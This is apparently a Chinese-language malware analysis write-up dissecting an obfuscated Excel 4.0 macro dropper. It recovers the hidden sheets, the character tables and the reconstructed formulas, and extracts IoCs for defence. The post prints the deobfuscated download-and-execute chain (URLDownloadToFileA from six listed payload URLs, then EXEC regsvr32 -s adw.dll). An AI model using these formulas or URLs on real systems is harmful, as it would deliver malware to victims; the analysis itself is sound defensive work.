上一篇写的是基于Python的角度,这一篇写的是基于调试分析的角度。
文档分析
显示
除了宏代码启用提示外,可以发现Sheet名并非默认的“Sheet1”+“Sheet2”+“Sheet3”,而是唯一一个“Sheet”:
新建的Excel文件可以看到默认的Sheet名是“Sheet1”+“Sheet2”+“Sheet3”:
取消隐藏的Sheet
隐藏的内容
第1个隐藏的Sheet:字符表
第1个Sheet用于保存单个字符。
竟然很集中的出现在常见的可见范围内,如果是我,会写到ZZZZZ+(实际上不行,见下文“Excel附加知识”)外:
单元格的字符来源为数据计算。“=CHAR(加减法计算)
”的字母/符号(如:“=CHAR(133+3)
”),或“=_xlfn.ARABIC(罗马数字字符串)
”(如:“=_xlfn.ARABIC("CI")
”),以及个别直接赋值的符号,如“!”、“-”、“/”等:
Excel附加知识
- Excel 2003版:列数最大256(IV,2的8次方)列,行数最大65536(2的16次方)行;
- Excel 2007版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);
- Excel 2013版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);
Excel行和列的表示方法:例如2003版行用数字1-65536表示;列用英文字母A-Z,AA-AZ,BA-BZ,…,IA-IV表示,共256列。
第2个隐藏的Sheet:URL
字符串:
基于第1个隐藏的Sheet字符单元格使用T函数拼接出的字符串,均为下载命令代码的部分:
DownloadToFil
","JJCCBB"
("url
,0,
mon","URL
"777","
还有加了“”&””拼接的原始字符串,为下载的URL和用于拼接为命令的“””以及“”,””: ```shell 原始: “h”&”ttp:/“&”/ch”&”u”&”rc”&”h.k”&”t”&”c-c”&”e”&”nt”&”er.n”&”et/Pb”&”Sk”&”dC”&”O”&”W/“,” “h”&”tt”&”ps:/“&”/c”&”hri”&”sti”&”an”&”cha”&”p”&”ma”&”n.c”&”om/c”&”gi-b”&”in/gA”&”D”&”H”&”L9”&”UX”&”S”&”FU”&”TN/“,” “h”&”tt”&”p:/“&”/c”&”la”&”nfo”&”g.c”&”o.u”&”k/_vt”&”i_b”&”in/a”&”Ob”&”JD”&”8v”&”pK”&”aJ”&”RLK”&”go”&”X6”&”i/“,” “h”&”tt”&”ps://ch”&”obe”&”ma”&”st”&”er.c”&”om/co”&”m”&”po”&”ne”&”nt”&”s/g”&”us/“,” “h”&”tt”&”p:/“&”/c”&”hm”&”io”&”la.n”&”et/a”&”ud”&”io/6”&”Ou”&”zy”&”jP”&”S/“,” “h”&”tt”&”ps://“&”cip”&”es”&”.go”&”b.m”&”x/cs”&”s/A”&”04”&”6XJ”&”g/“,”
删除“”&””后 “http://church.ktc-center.net/PbSkdCOW/“,” “https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/“,” “http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/“,” “https://chobemaster.com/components/gus/“,” “http://chmiola.net/audio/6OuzyjPS/“,” “https://cipes.gob.mx/css/A046XJg/“,”
![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1648636735463-64adc987-a2c9-418c-8b85-df507c002685.png#clientId=ub46a70ca-c63a-4&from=paste&height=582&id=ucbe746f4&originHeight=582&originWidth=1237&originalType=binary&ratio=1&rotation=0&showTitle=false&size=59371&status=done&style=none&taskId=u9790f451-f5d7-4dda-bfc9-cd0a7525132&title=&width=1237)
<a name="YJqVQ"></a>
### 第3个隐藏的Sheet:Dll名
和第2个隐藏的Sheet有一定相似性:<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1648637023539-a3b1bf3f-40ae-4652-9a8e-2d8419a16f97.png#clientId=ub46a70ca-c63a-4&from=paste&height=379&id=ad2R4&originHeight=379&originWidth=1469&originalType=binary&ratio=1&rotation=0&showTitle=false&size=28837&status=done&style=none&taskId=u510b33b9-2b19-41f0-a73b-2b895c1353f&title=&width=1469)<br />T函数拼接的(白底黑字)均为命令代码的部分字符串:
```shell
<0,
..\adw.dll
-s
..\adw.dll
",0,0)
其余的字符串直接以字符串保存:
\Windows\
SysWow64\
RETURN
regsvr32.exe
第4个隐藏的Sheet:执行下载代码
原始FORMULA公式代码
=FORMULA(С1!C15,С2!F3)=FORMULA(Rvfs1!P22&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!F19&Rvfs3!N14&Rvfs3!E16,B7)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ1"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!G21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B9)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ2"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!H19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B11)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ3"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!I21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B13)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ4"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!J19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B15)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ5"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!K21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B17)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ6"&Rvfs3!N4&Rvfs1!H9&Rvfs1!B15&Rvfs1!I17&Rvfs1!I3&Rvfs1!H13&Rvfs1!P11&Rvfs1!K9&Rvfs1!P13&Rvfs1!P7&Rvfs1!P13,B21)=FORMULA(Rvfs1!P22&Rvfs1!H13&Rvfs1!N4&Rvfs1!H13&Rvfs1!H9&Rvfs1!P11&Rvfs1!P15&Rvfs1!H9&Rvfs1!P20&Rvfs3!D3&Rvfs3!J6&Rvfs3!F11&Rvfs3!P8&Rvfs3!B5&Rvfs1!P15&Rvfs1!P13,B23)=FORMULA(Rvfs1!P22&Rvfs3!R6&Rvfs1!P11&Rvfs1!P13,B28)
提取FORMULA内容
等价于:
С1!C15 = С2!F3
B7 = T(Rvfs1!P22&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!F19&Rvfs3!N14&Rvfs3!E16)
B9 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ1"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!G21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
B11 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ2"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!H19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
B13 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ3"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!I21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
B15 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ4"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!J19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
B17 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ5"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!K21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
B21 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ6"&Rvfs3!N4&Rvfs1!H9&Rvfs1!B15&Rvfs1!I17&Rvfs1!I3&Rvfs1!H13&Rvfs1!P11&Rvfs1!K9&Rvfs1!P13&Rvfs1!P7&Rvfs1!P13)
B23 = T(Rvfs1!P22&Rvfs1!H13&Rvfs1!N4&Rvfs1!H13&Rvfs1!H9&Rvfs1!P11&Rvfs1!P15&Rvfs1!H9&Rvfs1!P20&Rvfs3!D3&Rvfs3!J6&Rvfs3!F11&Rvfs3!P8&Rvfs3!B5&Rvfs1!P15&Rvfs1!P13)
B28 = T(Rvfs1!P22&Rvfs3!R6&Rvfs1!P11&Rvfs1!P13)
注意:由于Office版本的不同,低版本并不支持“FORMULA”方法,以及罗马数字转阿拉伯数字的函数“_xlfn.ARABIC”。
单元格与数据表格
单元格 | 值 |
---|---|
A12 | m |
B15 | L |
B18 | F |
B5 | u |
C3 | r |
C9 | l |
C15 | =K37=e |
D13 | D |
D17 | a |
D7 | n |
E11 | U |
E2 | o |
E35 | = |
E6 | T |
F3 | =C15=K37=e |
F10 | w |
F15 | d |
F4 | R |
F7 | 3 |
G14 | x |
G2 | i |
G24 | R |
H13 | E |
H20 | 8 |
H4 | e |
H9 | C |
I17 | O |
I26 | T |
I3 | S |
I32 | o |
J11 | I |
J6 | J |
K14 | B |
K23 | N |
K37 | e |
K4 | 1 |
K9 | 0 |
L11 | c |
L2 | A |
M7 | s |
N13 | 2 |
N4 | X |
O33 | C |
P11 | ( |
P13 | ) |
P15 | “ |
P17 | & |
P19 | (空格) |
P20 | : |
P22 | = |
P3 | \ |
P5 | . |
P7 | , |
P9 | < |
Q36 | t |
单元格 | 字符串 |
B5 | ..\adw.dll(第1个字符为空格) |
C7 | (“url |
D11 | mon”,”URL |
D3 | \Windows\ |
E16 | “,0,0) |
E3 | DownloadToFil |
F11 | regsvr32.exe |
G5 | “,”JJCCBB” |
I9 | ,0, |
J6 | SysWow64\ |
N14 | ..\adw.dll |
N4 | <0, |
P8 | -s |
R6 | RETURN |
单元格 | C2字符串 |
F19 | “http://church.ktc-center.net/PbSkdCOW/“,” |
H19 | “https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/“,” |
J19 | “http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/“,” |
L19 | “777”,” |
G21 | “https://chobemaster.com/components/gus/“,” |
I21 | “http://chmiola.net/audio/6OuzyjPS/“,” |
K21 | “https://cipes.gob.mx/css/A046XJg/“,” |
输出FORMULA结果
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://church.ktc-center.net/PbSkdCOW/","..\adw.dll",0,0)
=IF(&"UDYQ1"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chobemaster.com/components/gus/","..\adw.dll",0,0))
=IF(&"UDYQ2"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/","..\adw.dll",0,0))
=IF(&"UDYQ3"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chmiola.net/audio/6OuzyjPS/","..\adw.dll",0,0))
=IF(&"UDYQ4"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/","..\adw.dll",0,0))
=IF(&"UDYQ5"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cipes.gob.mx/css/A046XJg/","..\adw.dll",0,0))
=IF(&"UDYQ6"<0,CLOSE(0),)
=EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll")
=RETURN()
通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。
“UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”),如果小于0则从备用的URL继续下载。从1到6,如果“UDYQ[6]”也为小于0的话,则“CLOSE(0)”结束。
如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll"
”,将下载的恶意载荷文件注册为服务。
两种URL保存形式
URL除了以“”&””进行拼接外:
还有一类是直接保存完整的URL,以及拼接命令用的引号和逗号“”,””:
Python
- 提取还原URL
- 判断是不是6个(针对目前的发现规律,仅做提示,不影响提取功能)
- 提取Dll名
- 判断是否有且只有一个
行为分析
上文已经分析出了下载代码,逻辑为:
- 通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。
- “UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个函数中“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”)
- 如果下载失败,结果小于0则从备用的URL继续下载;
- 从1到6依次运行,如果“UDYQ[6]”也为小于0的话,则“CLOSE(0)”结束。
- 如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“
"C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll"
”,将下载的恶意载荷文件注册为服务。不成功的原因
Office版本不同
宏代码采用了“FORMULA”公式对数据进行拼接和赋值,在比较早的Office版本中并不兼容此函数,也会造成无法执行代码的后果。
同样不兼容可能还有罗马数字转阿拉伯数字的函数“_xlfn.ARABIC”。不同位数系统的系统程序路径不同
即使命令能顺利的拼接完成,由于最后命令行“EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll")
”写死了“regsvr32.exe”的路径为“C:\Windows*SysWow64\regsvr32.exe”,实际上该路径为64位Windows系统中“regsvr32.exe”的路径,在32位的系统上并没有目录“C:\Windows\SysWow64”。32位系统由于路径不兼容情况,会导致命令执行失败,故32位系统对此变种存在一定的免疫性。*URL失效
由于时效性问题,在受害者点击垃圾邮件时,可能对应的资源链接已失效。为应对失效情况,往往攻击者会在投递时准备备用URL,故本次分析的5个文档,均有6个URL以供下载。
实际分析时应当以流量中是否正确解析并返回URL资源数据;受害主机是否有对应文件落盘为准。沙箱的不可依赖性
在“不成功原因”里写到,Office版本不同可能会造成代码拼接函数无法执行的问题,在加上大部分沙箱默认的是32位,有比较大概率无法成功调用到“C:\Windows*SysWow64*”下的“regsvr32.exe”将Dll注册服务。
最后还需要考虑到执行逻辑,如果第一个URL执行成功,就不访问后续的URL,沙箱报告中只能提取出一个URL,但是实际受害者可能用了备选的URL。
综上所述,此类样本更适合使用静态的方式提取IoCs。每个产品都有自己的优势和弊端,根据不同情况应该灵活使用不同的方式进行检测和防御。
切记不要过于依赖一种产品,设置非已知提醒(如上文中对URL数量为6的提醒),能检测到变化,并在发现变化后及时分析变化的部分,推测变化的原因。